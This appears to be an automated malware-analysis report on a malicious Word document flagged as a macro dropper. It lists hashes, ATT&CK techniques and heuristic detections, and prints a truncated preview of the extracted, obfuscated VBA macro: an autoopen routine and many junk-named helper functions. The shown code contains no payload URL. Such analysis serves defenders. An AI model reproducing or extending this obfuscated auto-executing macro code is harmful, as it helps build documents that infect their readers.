Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4808a9fc9a33cf5d…

MALICIOUS

Office (OLE)

59.5 KB Created: 2017-08-09 14:36:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: a838f93f7a6f35ce04bef4aabf5044e0 SHA-1: 0af4904f63eb4c99b74b10ff43a310a21e354de2 SHA-256: 4808a9fc9a33cf5df06d5a56f85b6e2dfdb8fc5fbb4cbd2ede05488dd566f6f5
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an autoopen subroutine. This macro utilizes CreateObject, a common technique for executing arbitrary code, and is flagged by heuristics as an auto-executing macro with execution tokens. The ClamAV detection name 'Doc.Dropper.Agent-6335671-0' further indicates its dropper functionality, suggesting it downloads and executes a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6335671-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6335671-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7748 bytes
SHA-256: 3987542ff71c344233ce08a56ecff79f6084f70b9d4f0189b5a4034fe6f1d9cf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub autoopen()
FRHNFRHNFRHNFRHNFRHN
End Sub
Function DFKpDFKpDFKpDFKpDFKp(ByVal axhNfaxhNfaxhNfaxhNfaxhNf As String, ByVal hzavhzavhzavhzavhzav As Variant) As Boolean
For Each pXBpXBpXBpXBpXB In hzavhzavhzavhzavhzav
khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
    If pXBpXBpXBpXBpXB = axhNfaxhNfaxhNfaxhNfaxhNf Then
        DFKpDFKpDFKpDFKpDFKp = True
        Exit Function
    End If
    khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
    khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
Next pXBpXBpXBpXBpXB
End Function
 Function CNHNgCNHNgCNHNgCNHNgCNHNg(ByVal vSpDvSpDvSpDvSpDvSpD As String, ByVal ubULubULubULubULubUL As Variant) As Boolean
For Each KPrpMKPrpMKPrpMKPrpMKPrpM In ubULubULubULubULubUL
khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
    If KPrpMKPrpMKPrpMKPrpMKPrpM = vSpDvSpDvSpDvSpDvSpD Then
        CNHNgCNHNgCNHNgCNHNgCNHNg = True
        Exit Function
    End If
    khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
    khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
Next KPrpMKPrpMKPrpMKPrpMKPrpM
End Function
 Function ZmCZmCZmCZmCZmC(ByVal YZGxKYZGxKYZGxKYZGxKYZGxK As String, ByVal ZtRZtRZtRZtRZtR As Variant) As Boolean
For Each MNGxwsMNGxwsMNGxwsMNGxwsMNGxws In ZtRZtRZtRZtRZtR
khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
    If MNGxwsMNGxwsMNGxwsMNGxwsMNGxws = YZGxKYZGxKYZGxKYZGxKYZGxK Then
        ZmCZmCZmCZmCZmC = True
        Exit Function
    End If
    khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
    khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
Next MNGxwsMNGxwsMNGxwsMNGxwsMNGxws
End Function
 Function vNcyvNcyvNcyvNcyvNcy(ByVal aRwaxaRwaxaRwaxaRwaxaRwax As String, ByVal bxTNbxTNbxTNbxTNbxTN As Variant) As Boolean
For Each sFdsFdsFdsFdsFd In bxTNbxTNbxTNbxTNbxTN
khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
    If sFdsFdsFdsFdsFd = aRwaxaRwaxaRwaxaRwaxaRwax Then
        vNcyvNcyvNcyvNcyvNcy = True
        Exit Function
    End If
    khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
    khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
Next sFdsFdsFdsFdsFd
End Function
 Function dVcKaxdVcKaxdVcKaxdVcKaxdVcKax(ByVal tnatnatnatnatna As String, ByVal mcHNxRmcHNxRmcHNxRmcHNxRmcHNxR As Variant) As Boolean
For Each uRBnxxuRBnxxuRBnxxuRBnxxuRBnxx In mcHNxRmcHNxRmcHNxRmcHNxRmcHNxR
khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
    If uRBnxxuRBnxxuRBnxxuRBnxxuRBnxx = tnatnatnatnatna Then
        dVcKaxdVcKaxdVcKaxdVcKaxdVcKax = True
        Exit Function
    End If
    khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
    khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
Next uRBnxxuRBnxxuRBnxxuRBnxxuRBnxx
End Function
 Function ArCeArCeArCeArCeArCe(ByVal ywKnZywKnZywKnZywKnZywKnZ As String, ByVal ZNcZNcZNcZNcZNc As Variant) As Boolean
For Each FagFpWFagFpWFagFpWFagFpWFagFpW In ZNcZNcZNcZNcZNc
khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
    If FagFpWFagFpWFagFpWFagFpWFagFpW = ywKnZywKnZywKnZywKnZywKnZ Then
        ArCeArCeArCeArCeArCe = True
        Exit Function
    End If
    khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
    khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
Next FagFpWFagFpWFagFpWFagFpWFagFpW
End Function
 Function RbNARbNARbNARbNARbNA(ByVal bYCzaLbYCzaLbYCzaLbYCzaLbYCzaL As String, ByVal nDFRnDFRnDFRnDFRnDFR As Variant) As Boolean
For Each uZsGuZsGuZsGuZsGuZsG In nDFRnDFRnDFRnDFRnDFR
khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
khLZkhLZkhLZkhLZkhLZ = "khLZkhLZkhLZkhLZkhLZ"
    If uZsGuZsGuZsGuZsGuZsG = bYCzaLbYCzaLbYCzaLbYCzaLbYCzaL Then
        RbNARbNA
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.